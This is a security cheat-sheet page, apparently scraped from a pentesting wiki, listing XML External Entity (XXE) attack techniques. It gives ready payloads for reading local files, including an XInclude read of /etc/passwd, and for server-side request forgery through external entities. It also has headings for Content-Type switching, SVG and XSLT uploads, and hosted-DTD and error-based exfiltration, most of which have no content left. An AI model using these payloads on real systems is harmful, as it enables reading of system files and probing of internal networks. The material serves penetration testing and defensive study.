XXE

Exploits

File Retrieval

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://<path>"> ]>

<field>&xxe;</field>

SSRF

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<url>/"> ]>

<field>&xxe;</field>

XInclude Attack

Useful for when the attacker doesn't control the whole XML structure but can only insert values in the fields (for instance as values returned from SOAP requests or populated from forms)

Read local file

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

SSRF

Example request

XXE Through Modified Content-Type

In same cases it might be possible to trigger XXE vulnerabilities in requests that are not formatted as XML by setting the content type header to text/xml and rewriting the body of the request in order to be digested by an XML parser

POST Request

Original request

Modified request

JSON Body

Original request

Modified request

XXE Through file upload

XSLT

SVG

Text will appear within the image

Parametric payloads

SSRF

File exfiltration

Hosted DTD

Actual payload

Error based file exfiltration

Hosted DTD

Error based with DTD override

Test if DTD exists on target

Payload

Last updated